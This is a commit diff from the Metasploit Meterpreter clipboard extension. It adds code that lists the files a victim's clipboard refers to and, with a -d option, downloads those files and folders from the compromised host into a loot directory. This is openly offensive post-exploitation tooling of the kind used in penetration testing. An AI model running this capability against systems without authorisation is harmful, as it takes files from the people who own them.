Add CF_HDROP file support to the clipboard
`clipboard_get_data` has been changed so that raw text is supported and file listings are supported. If files are on the clipboard, those files and folders are listed when this command is run. To download the files, pass in the `-d` option.bug/bundler_fix
parent
414a814d5d
commit
afc5e282a9
Binary file not shown.
Binary file not shown.
|
@ -23,13 +23,31 @@ class Clipboard
|
|||
# Get the target clipboard data in whichever format we can
|
||||
# (if it's supported.
|
||||
def get_data()
|
||||
results = []
|
||||
|
||||
request = Packet.create_request('extapi_clipboard_get_data')
|
||||
|
||||
response = client.send_request(request)
|
||||
|
||||
text = response.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT)
|
||||
|
||||
return text
|
||||
if not text.nil?
|
||||
results << {
|
||||
:type => :text,
|
||||
:data => text
|
||||
}
|
||||
end
|
||||
|
||||
files = response.get_tlv_values(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE)
|
||||
|
||||
if files.length > 0
|
||||
results << {
|
||||
:type => :files,
|
||||
:data => files
|
||||
}
|
||||
end
|
||||
|
||||
return results
|
||||
end
|
||||
|
||||
# Set the target clipboard data to a text value
|
||||
|
|
|
@ -29,6 +29,7 @@ TLV_TYPE_EXT_SERVICE_QUERY_INTERACTIVE = TLV_META_TYPE_BOOL | (TLV_TYPE_E
|
|||
TLV_TYPE_EXT_SERVICE_QUERY_DACL = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 26)
|
||||
|
||||
TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 40)
|
||||
TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 41)
|
||||
|
||||
end
|
||||
end
|
||||
|
|
|
@ -38,22 +38,28 @@ class Console::CommandDispatcher::Extapi::Clipboard
|
|||
# Options for the clipboard_get_data command.
|
||||
#
|
||||
@@get_data_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner" ]
|
||||
"-h" => [ false, "Help banner" ],
|
||||
"-d" => [ false, "Download content (if applicable)" ]
|
||||
)
|
||||
|
||||
def print_clipboard_get_data_usage()
|
||||
print(
|
||||
"\nUsage: clipboard_get_data [-h]\n\n" +
|
||||
"\nUsage: clipboard_get_data [-h] [-d]\n\n" +
|
||||
"Attempts to read the data from the victim's clipboard. If the data is in a\n" +
|
||||
"supported format, it is read and returned to the user.\n\n")
|
||||
"supported format, it is read and returned to the user.\n\n" +
|
||||
"-d : Downloads content that is associated with the clipboard where\n" +
|
||||
" possible (eg. bitmap content, files, etc).\n\n")
|
||||
end
|
||||
|
||||
#
|
||||
# Get the data from the victim's clipboard
|
||||
#
|
||||
def cmd_clipboard_get_data(*args)
|
||||
download_content = false
|
||||
@@get_data_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-d"
|
||||
download_content = true
|
||||
when "-h"
|
||||
print_clipboard_get_data_usage
|
||||
return true
|
||||
|
@ -61,18 +67,42 @@ class Console::CommandDispatcher::Extapi::Clipboard
|
|||
}
|
||||
|
||||
# currently we only support text values
|
||||
value = client.extapi.clipboard.get_data()
|
||||
results = client.extapi.clipboard.get_data()
|
||||
|
||||
if value.nil?
|
||||
if results.length == 0
|
||||
print_error( "The current Clipboard data format is not supported." )
|
||||
else
|
||||
print_line()
|
||||
print_line( "Current Clipboard Text" )
|
||||
print_line( "-----------------------------------------------------" )
|
||||
print_line( value )
|
||||
print_line( "-----------------------------------------------------" )
|
||||
print_line()
|
||||
return false
|
||||
end
|
||||
|
||||
results.each { |r|
|
||||
case r[:type]
|
||||
when :text
|
||||
print_line( "Current Clipboard Text" )
|
||||
print_line( "-----------------------------------------------------" )
|
||||
print_line( r[:data] )
|
||||
print_line( "-----------------------------------------------------" )
|
||||
when :files
|
||||
if download_content
|
||||
loot_dir = generate_loot_dir( true )
|
||||
print_line( "Downloading Clipboard Files" )
|
||||
print_line( "-----------------------------------------------------" )
|
||||
r[:data].each { |f|
|
||||
download_file( loot_dir, f )
|
||||
}
|
||||
print_line( "-----------------------------------------------------" )
|
||||
else
|
||||
print_line( "Current Clipboard Files" )
|
||||
print_line( "-----------------------------------------------------" )
|
||||
r[:data].each { |f|
|
||||
print_line( f )
|
||||
}
|
||||
print_line( "-----------------------------------------------------" )
|
||||
end
|
||||
end
|
||||
|
||||
print_line()
|
||||
}
|
||||
return true
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -81,8 +111,7 @@ class Console::CommandDispatcher::Extapi::Clipboard
|
|||
@@set_text_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner" ]
|
||||
)
|
||||
|
||||
def print_clipboard_set_text_usage()
|
||||
def print_clipboard_set_text_usage()
|
||||
print(
|
||||
"\nUsage: clipboard_set_text [-h] <text>\n\n" +
|
||||
"Set the target's clipboard to the given text value.\n\n")
|
||||
|
@ -105,6 +134,44 @@ class Console::CommandDispatcher::Extapi::Clipboard
|
|||
return client.extapi.clipboard.set_text(args.join(" "))
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
# TODO: get help from the MSF masters, because I have no
|
||||
# idea what I am doing here.
|
||||
def generate_loot_dir( create )
|
||||
host = client.framework.db.normalize_host( client.session ) || 'unknown'
|
||||
ws = 'default'
|
||||
name = "#{Time.now.strftime( "%Y%m%d%H%M%S" )}_#{ws}_#{host}_clipboard"
|
||||
name.gsub!( /[^a-z0-9\.\_]+/i, '' )
|
||||
|
||||
path = ::File.join( Msf::Config.loot_directory, name )
|
||||
path = ::File.expand_path( path )
|
||||
|
||||
if create and not ::File.directory?( path )
|
||||
::FileUtils.mkdir_p( path )
|
||||
end
|
||||
|
||||
return path
|
||||
end
|
||||
|
||||
def download_file( dest_folder, source )
|
||||
stat = client.fs.file.stat( source )
|
||||
base = ::Rex::Post::Meterpreter::Extensions::Stdapi::Fs::File.basename( source )
|
||||
dest = File.join( dest_folder, base )
|
||||
|
||||
if stat.directory?
|
||||
client.fs.dir.download( dest, source, true, true ) { |step, src, dst|
|
||||
print_line( "#{step.ljust(11)}: #{src} -> #{dst}" )
|
||||
client.framework.events.on_session_download( client, src, dest ) if msf_loaded?
|
||||
}
|
||||
elsif stat.file?
|
||||
client.fs.file.download( dest, source ) { |step, src, dst|
|
||||
print_line( "#{step.ljust(11)}: #{src} -> #{dst}" )
|
||||
client.framework.events.on_session_download( client, src, dest ) if msf_loaded?
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue